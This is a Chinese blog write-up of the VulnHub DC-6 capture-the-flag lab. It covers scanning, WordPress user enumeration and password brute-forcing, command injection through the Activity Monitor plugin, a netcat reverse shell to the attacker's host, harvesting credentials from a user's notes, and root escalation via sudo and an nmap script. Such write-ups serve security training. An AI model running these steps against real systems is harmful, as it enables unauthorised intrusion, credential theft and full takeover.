vulnhub-DC6 靶机实验

靶机下载

官网地址: https://download.vulnhub.com/dc/DC-6.zip
靶机文件下载后导入即可使用,靶机只有一个flag值, 类似DC2靶机
DC6靶机IP地址: 192.168.18.100
kali攻击机IP地址:192.168.18.128

①信息收集

#扫描存活主机
arp-scan  -l
#nmap扫描开放端口信息
nmap -A -p- 192.168.18.100

在这里插入图片描述开放端口2280,我们进行网站登陆
在这里插入图片描述无法登陆网站,我们进行修改hosts文件vim /etc/hosts
在这里插入图片描述网站登陆:http://192.168.18.100
在这里插入图片描述
目录扫描

dirsearch  --url  http://192.168.18.100

发现登陆网站 http://wordy/wp-admin
在这里插入图片描述

② 密码爆破

用户名扫描 wpscan --url http://wordy/ -e u
用户名保存到桌面 vi /root/Desktop/dc6_user
用户名 admin、mark、graham、sarah、jens

在这里插入图片描述尝试DC2爆破密码方式,使用cewl在桌面生成密码进行爆破 cewl http://wordy/ -w /root/Desktop/dc6_passwd.txt
用户名和密码进行爆破 wpscan --url http://wordy/ -U /root/Desktop/dc6_user -P /root/Desktop/dc6_passwd.txt
爆破失败,未爆破出密码
在这里插入图片描述下载DC6的官网上提到

在这里插入图片描述生成密码cat /usr/share/wordlists/rockyou.txt | grep k01 > /root/Desktop/dc-6pass.txt
密码爆破 wpscan --url http://wordy/ -U /root/Desktop/dc6_user -P /root/Desktop/passwords.txt
在这里插入图片描述网站登陆用户名:mark 密码: helpdesk01 ,点击lookup执行该命令

在这里插入图片描述

③漏洞利用

searchsploit activity monitor
find  / -name 45274.html
cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html 
cat 45274.html

在这里插入图片描述在这里插入图片描述

④反弹shell

#kali机上进行监听
nc -nlvp  4444
#登陆浏览器使用Burpsuite修改参数进行反弹
127.0.0.1 | nc -e /bin/bash 192.168.18.128 4444
#获得交互式命令
python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

⑤信心收集

找到一个things-to-do.txt文件

cd  /home
ls -la  /home/graham
ls  -la  /home/jens
ls -la  /home/mark
ls -la /home/mark/stuff
cat /home/mark/stuff/things-to-do.txt

在这里插入图片描述得到用户信息 用户名graham 密码GSo7isUM1D4,我们进行切换用户

cat /home/mark/stuff/things-to-do.txt
Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

⑤用户提权

切换用户su graham,查看提权信息sudo -l
在这里插入图片描述可以直接执行backups.sh backups.sh文件写入/bin/bash,然后以jens执行该脚本

具体步骤:
先进入到对应路径:cd /home/jens
把/bin/bash追加到这个文件:echo '/bin/bash' >> backups.sh
切换身份:sudo -u jens ./backups.sh
在这里插入图片描述身份切换为jens
切换用户jens,查看提权信息sudo -l
在这里插入图片描述
nmap提权
进入/tmp下面 nmap--script 参数可以执行脚本

echo 'os.execute("/bin/bash")'>getroot.sh
sudo nmap --script=getroot.sh

在这里插入图片描述

flag获取
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

K.A.L

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值